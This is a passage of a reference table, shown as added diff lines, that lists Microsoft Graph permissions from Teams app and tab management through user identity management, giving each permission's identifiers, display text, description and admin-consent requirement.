+Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5dad17ba-f6cc-4954-a5a2-a0dcc95154f0 |
+- |
+
+
+| DisplayText |
+Manage Teams apps for all teams |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+093f8818-d05f-49b8-95bc-9d2a73e9a43c |
+
+
+| DisplayText |
+- |
+Manage user's installed Teams apps |
+
+
+| Description |
+- |
+Allows the app to read, install, upgrade, and uninstall Teams apps installed for the signed-in user. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+74ef0291-ca83-4d02-8c7e-d2391e6a444f |
+- |
+
+
+| DisplayText |
+Manage Teams apps for all users |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps for any user, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0ce33576-30e8-43b7-99e5-62f8569a4002 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage itself in chats |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+73a45059-f39c-4baf-9182-4954ac0e55cf |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage itself for all chats |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0f4595f7-64b1-4e13-81bc-11a249df07a9 |
+
+
+| DisplayText |
+- |
+Allow the app to manage itself in teams |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself to teams the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9f67436c-5415-4e7f-8ac1-3014a7132630 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage itself for all teams |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself in any team, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+207e0cb1-3ce7-4922-b991-5a760c346ebc |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage itself for a user |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself for the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsAppInstallation.ReadWriteSelfForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+908de74d-f8b2-4d6b-a9ed-2a17b3b78179 |
+- |
+
+
+| DisplayText |
+Allow the app to manage itself for all users |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself to any user, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+242607bd-1d2c-432c-82eb-bdb27baa23ab |
+48638b3c-ad68-4383-8ac4-e6880ee6ca57 |
+
+
+| DisplayText |
+Read all teams' settings |
+Read teams' settings |
+
+
+| Description |
+Read all team's settings, without a signed-in user. |
+Read all teams' settings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bdd80a03-d9bc-451d-b7c4-ce7c63fe3c8f |
+39d65650-9d3e-4223-80db-a335590d027e |
+
+
+| DisplayText |
+Read and change all teams' settings |
+Read and change teams' settings |
+
+
+| Description |
+Read and change all teams' settings, without a signed-in user. |
+Read and change all teams' settings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamsTab.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+49981c42-fd7b-4530-be03-e77b21aed25e |
+a9ff19c2-f369-4a95-9a25-ba9d460efc8e |
+
+
+| DisplayText |
+Create tabs in Microsoft Teams. |
+Create tabs in Microsoft Teams. |
+
+
+| Description |
+Allows the app to create tabs in any team in Microsoft Teams, without a signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs. |
+Allows the app to create tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamsTab.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+46890524-499a-4bb2-ad64-1476b4f3e1cf |
+59dacb05-e88d-4c13-a684-59f1afc8cc98 |
+
+
+| DisplayText |
+Read tabs in Microsoft Teams. |
+Read tabs in Microsoft Teams. |
+
+
+| Description |
+Read the names and settings of tabs inside any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs. |
+Read the names and settings of tabs inside any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamsTab.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a96d855f-016b-47d7-b51c-1218a98d791c |
+b98bfd41-87c6-45cc-b104-e2de4f0dafb9 |
+
+
+| DisplayText |
+Read and write tabs in Microsoft Teams. |
+Read and write tabs in Microsoft Teams. |
+
+
+| Description |
+Read and write tabs in any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs. |
+Read and write tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamsTab.ReadWriteForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ee928332-e9c2-4747-b4a0-f8c164b68de6 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage all tabs in chats |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs in chats the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsTab.ReadWriteForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fd9ce730-a250-40dc-bd44-8dc8d20f39ea |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage all tabs for all chats |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs for any chat, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsTab.ReadWriteForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c975dd04-a06e-4fbb-9704-62daad77bb49 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage all tabs in teams |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs to teams the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsTab.ReadWriteForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6163d4f4-fbf8-43da-a7b4-060fe85ed148 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage all tabs for all teams |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs in any team, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsTab.ReadWriteForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c37c9b61-7762-4bff-a156-afc0005847a0 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage all tabs for a user |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs for the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsTab.ReadWriteForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+425b4b59-d5af-45c8-832f-bb0b7402348a |
+- |
+
+
+| DisplayText |
+Allow the app to manage all tabs for all users |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall all tabs for any user, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsTab.ReadWriteSelfForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0c219d04-3abf-47f7-912d-5cca239e90e6 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage only its own tabs in chats |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs in chats the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsTab.ReadWriteSelfForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9f62e4a2-a2d6-4350-b28b-d244728c4f86 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage only its own tabs for all chats |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs for any chat, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsTab.ReadWriteSelfForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f266662f-120a-4314-b26a-99b08617c7ef |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage only its own tabs in teams |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs to teams the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsTab.ReadWriteSelfForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+91c32b81-0ef0-453f-a5c7-4ce2e562f449 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage only its own tabs for all teams |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs in any team, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsTab.ReadWriteSelfForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+395dfec1-a0b9-465f-a783-8250a430cb8c |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage only its own tabs for a user |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs for the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsTab.ReadWriteSelfForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3c42dec6-49e8-4a0a-b469-36cff0d9da93 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage only its own tabs for all users |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall its own tabs for any user, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsUserConfiguration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a91eadaf-2c3c-4362-908b-fb172d208fc6 |
+5c469ce4-dab5-4afd-b9de-14f1ba4004a7 |
+
+
+| DisplayText |
+Read Teams user configurations |
+Read Teams user configurations |
+
+
+| Description |
+Allows the app to read your tenant's user configurations, without a signed-in user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc. |
+Allows the app to read your tenant's user configurations on behalf of the signed-in admin user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamTemplates.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+cd87405c-5792-4f15-92f7-debc0db6d1d6 |
+
+
+| DisplayText |
+- |
+Read available Teams templates |
+
+
+| Description |
+- |
+Allows the app to read the available Teams templates, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamTemplates.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6323133e-1f6e-46d4-9372-ac33a0870636 |
+- |
+
+
+| DisplayText |
+Read all available Teams Templates |
+- |
+
+
+| Description |
+Allows the app to read all available Teams Templates, without a signed-user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Teamwork.Migrate.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dfb0dd15-61de-45b2-be36-d6a69fba3c79 |
+- |
+
+
+| DisplayText |
+Create chat and channel messages with anyone's identity and with any timestamp |
+- |
+
+
+| Description |
+Allows the app to create chat and channel messages, without a signed in user. The app specifies which user appears as the sender, and can backdate the message to appear as if it was sent long ago. The messages can be sent to any chat or channel in the organization. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
The Teamwork.Migrate.All delegated permission is available for consent in personal Microsoft accounts.
+
+Teamwork.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+75bcfbce-a647-4fba-ad51-b63d73b210f4 |
+594f4bb6-c083-4cf9-8aa8-213823bdf351 |
+
+
+| DisplayText |
+Read organizational teamwork settings |
+Read organizational teamwork settings |
+
+
+| Description |
+Allows the app to read all teamwork settings of the organization without a signed-in user. |
+Allows the app to read the teamwork settings of the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamworkAppSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+475ebe88-f071-4bd7-af2b-642952bd4986 |
+44e060c4-bbdc-4256-a0b9-dcc0396db368 |
+
+
+| DisplayText |
+Read Teams app settings |
+Read Teams app settings |
+
+
+| Description |
+Allows the app to read the Teams app settings without a signed-in user. |
+Allows the app to read the Teams app settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+TeamworkAppSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ab5b445e-8f10-45f4-9c79-dd3f8062cc4e |
+87c556f0-2bd9-4eed-bd74-5dd8af6eaf7e |
+
+
+| DisplayText |
+Read and write Teams app settings |
+Read and write Teams app settings |
+
+
+| Description |
+Allows the app to read and write the Teams app settings without a signed-in user. |
+Allows the app to read and write the Teams app settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamworkDevice.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0591bafd-7c1c-4c30-a2a5-2b9aacb1dfe8 |
+b659488b-9d28-4208-b2be-1c6652b3c970 |
+
+
+| DisplayText |
+Read Teams devices |
+Read Teams devices |
+
+
+| Description |
+Allow the app to read the management data for Teams devices, without a signed-in user. |
+Allow the app to read the management data for Teams devices on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamworkDevice.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+79c02f5b-bd4f-4713-bc2c-a8a4a66e127b |
+ddd97ecb-5c31-43db-a235-0ee20e635c40 |
+
+
+| DisplayText |
+Read and write Teams devices |
+Read and write Teams devices |
+
+
+| Description |
+Allow the app to read and write the management data for Teams devices, without a signed-in user. |
+Allow the app to read and write the management data for Teams devices on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamworkTag.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+57587d0b-8399-45be-b207-8050cec54575 |
+
+
+| DisplayText |
+- |
+Read tags in Teams |
+
+
+| Description |
+- |
+Allows the app to read tags in Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamworkTag.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b74fd6c4-4bde-488e-9695-eeb100e4907f |
+- |
+
+
+| DisplayText |
+Read tags in Teams |
+- |
+
+
+| Description |
+Allows the app to read tags in Teams without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamworkTag.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+539dabd7-b5b6-4117-b164-d60cd15a8671 |
+
+
+| DisplayText |
+- |
+Read and write tags in Teams |
+
+
+| Description |
+- |
+Allows the app to read and write tags in Teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamworkTag.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a3371ca5-911d-46d6-901c-42c8c7a937d8 |
+- |
+
+
+| DisplayText |
+Read and write tags in Teams |
+- |
+
+
+| Description |
+Allows the app to read and write tags in Teams without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamworkUserInteraction.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b4d26916-07e0-4daf-9096-9f6d9174aa96 |
+
+
+| DisplayText |
+- |
+Read all of the possible Teams interactions between the user and other users |
+
+
+| Description |
+- |
+Allows the app to read all of the possible Teams interactions between the signed-in user and other users |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TermStore.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ea047cc2-df29-4f3e-83a3-205de61501ca |
+297f747b-0005-475b-8fef-c890f5152b38 |
+
+
+| DisplayText |
+Read all term store data |
+Read term store data |
+
+
+| Description |
+Allows the app to read all term store data, without a signed-in user. This includes all sets, groups and terms in the term store. |
+Allows the app to read the term store data that the signed-in user has access to. This includes all sets, groups and terms in the term store. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TermStore.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f12eb8d6-28e3-46e6-b2c0-b7e4dc69fc95 |
+6c37c71d-f50f-4bff-8fd3-8a41da390140 |
+
+
+| DisplayText |
+Read and write all term store data |
+Read and write term store data |
+
+
+| Description |
+Allows the app to read, edit or write all term store data, without a signed-in user. This includes all sets, groups and terms in the term store. |
+Allows the app to read or modify data that the signed-in user has access to. This includes all sets, groups and terms in the term store. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatAssessment.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f8f035bb-2cce-47fb-8bf5-7baf3ecbee48 |
+- |
+
+
+| DisplayText |
+Read threat assessment requests |
+- |
+
+
+| Description |
+Allows an app to read your organization's threat assessment requests, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ThreatAssessment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+cac97e40-6730-457d-ad8d-4852fddab7ad |
+
+
+| DisplayText |
+- |
+Read and write threat assessment requests |
+
+
+| Description |
+- |
+Allows an app to read your organization's threat assessment requests on behalf of the signed-in user. Also allows the app to create new requests to assess threats received by your organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ThreatHunting.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dd98c7f5-2d42-42d3-a0e4-633161547251 |
+b152eca8-ea73-4a48-8c98-1a6742673d99 |
+
+
+| DisplayText |
+Run hunting queries |
+Run hunting queries |
+
+
+| Description |
+Allows the app to run hunting queries, without a signed-in user. |
+Allows the app to run hunting queries, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatIndicators.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+197ee4e9-b993-4066-898f-d6aecc55125b |
+9cc427b4-2004-41c5-aa22-757b755e9796 |
+
+
+| DisplayText |
+Read all threat indicators |
+Read all threat indicators |
+
+
+| Description |
+Allows the app to read all the indicators for your organization, without a signed-in user. |
+Allows the app to read all the indicators for your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatIndicators.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+21792b6c-c986-4ffc-85de-df9da54b52fa |
+91e7d36d-022a-490f-a748-f8e011357b42 |
+
+
+| DisplayText |
+Manage threat indicators this app creates or owns |
+Manage threat indicators this app creates or owns |
+
+
+| Description |
+Allows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), without a signed-in user. Â It cannot update any threat indicators it does not own. |
+Allows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), on behalf of the signed-in user. Â It cannot update any threat indicators it does not own. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatIntelligence.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e0b77adb-e790-44a3-b0a0-257d06303687 |
+f266d9c0-ccb9-4fb8-a228-01ac0d8d6627 |
+
+
+| DisplayText |
+Read all Threat Intelligence Information |
+Read all threat intelligence information |
+
+
+| Description |
+Allows the app to read threat intelligence information, such as indicators, observations, and and articles, without a signed in user. |
+Allows the app to read threat intelligence information, such as indicators, observations, and articles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatSubmission.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+fd5353c6-26dd-449f-a565-c4e16b9fce78 |
+
+
+| DisplayText |
+- |
+Read threat submissions |
+
+
+| Description |
+- |
+Allows the app to read the threat submissions and threat submission policies owned by the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ThreatSubmission.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+86632667-cd15-4845-ad89-48a88e8412e1 |
+7083913a-4966-44b6-9886-c5822a5fd910 |
+
+
+| DisplayText |
+Read all of the organization's threat submissions |
+Read all threat submissions |
+
+
+| Description |
+Allows the app to read your organization's threat submissions and to view threat submission policies without a signed-in user. |
+Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatSubmission.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+68a3156e-46c9-443c-b85c-921397f082b5 |
+
+
+| DisplayText |
+- |
+Read and write threat submissions |
+
+
+| Description |
+- |
+Allows the app to read the threat submissions and threat submission policies owned by the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ThreatSubmission.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d72bdbf4-a59b-405c-8b04-5995895819ac |
+8458e264-4eb9-4922-abe9-768d58f13c7f |
+
+
+| DisplayText |
+Read and write all of the organization's threat submissions |
+Read and write all threat submissions |
+
+
+| Description |
+Allows the app to read your organization's threat submissions and threat submission policies without a signed-in user. Also allows the app to create new threat submissions without a signed-in user. |
+Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ThreatSubmissionPolicy.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+926a6798-b100-4a20-a22f-a4918f13951d |
+059e5840-5353-4c68-b1da-666a033fc5e8 |
+
+
+| DisplayText |
+Read and write all of the organization's threat submission policies |
+Read and write all threat submission policies |
+
+
+| Description |
+Allows the app to read your organization's threat submission policies without a signed-in user. Also allows the app to create new threat submission policies without a signed-in user. |
+Allows the app to read your organization's threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submission policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Topic.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+79c4c76f-409a-4f98-884d-e2c09291ec26 |
+
+
+| DisplayText |
+- |
+Read topic items |
+
+
+| Description |
+- |
+Allows the app to read topics data on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TrustFrameworkKeySet.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fff194f1-7dce-4428-8301-1badb5518201 |
+7ad34336-f5b1-44ce-8682-31d7dfcd9ab9 |
+
+
+| DisplayText |
+Read trust framework key sets |
+Read trust framework key sets |
+
+
+| Description |
+Allows the app to read trust framework key set properties without a signed-in user. |
+Allows the app to read trust framework key set properties on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TrustFrameworkKeySet.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4a771c9a-1cf2-4609-b88e-3d3e02d539cd |
+39244520-1e7d-4b4a-aee0-57c65826e427 |
+
+
+| DisplayText |
+Read and write trust framework key sets |
+Read and write trust framework key sets |
+
+
+| Description |
+Allows the app to read and write trust framework key set properties without a signed-in user. |
+Allows the app to read and write trust framework key set properties on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+UnifiedGroupMember.Read.AsGuest
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+73e75199-7c3e-41bb-9357-167164dbb415 |
+
+
+| DisplayText |
+- |
+Read unified group memberships as guest |
+
+
+| Description |
+- |
+Allows the app to read basic unified group properties, memberships and owners of the group the signed-in guest is a member of. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+User.EnableDisableAccount.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3011c876-62b7-4ada-afa2-506cbbecc68c |
+f92e74e7-2563-467f-9dd0-902688cb5863 |
+
+
+| DisplayText |
+Enable and disable user accounts |
+Enable and disable user accounts |
+
+
+| Description |
+Allows the app to enable and disable users' accounts, without a signed-in user. |
+Allows the app to enable and disable users' accounts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User.Export.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+405a51b5-8d8d-430b-9842-8be4b0e9f324 |
+405a51b5-8d8d-430b-9842-8be4b0e9f324 |
+
+
+| DisplayText |
+Export user's data |
+Export user's data |
+
+
+| Description |
+Allows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator). |
+Allows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator). |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User.Invite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+09850681-111b-4a89-9bed-3f2cae46d706 |
+63dd7cd9-b489-4adf-a28c-ac38b9a0f962 |
+
+
+| DisplayText |
+Invite guest users to the organization |
+Invite guest users to the organization |
+
+
+| Description |
+Allows the app to invite guest users to the organization, without a signed-in user. |
+Allows the app to invite guest users to the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User.ManageIdentities.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c529cfca-c91b-489c-af2b-d92990b66ce6 |
+637d7bec-b31e-4deb-acc9-24275642a2c9 |
+
+
+| DisplayText |
+Manage all users' identities |
+Manage user identities |
+
+
+| Description |
+Allows the app to read, update and delete identities that are associated with a user's account, without a signed in user. This controls the identities users can sign-in with. |
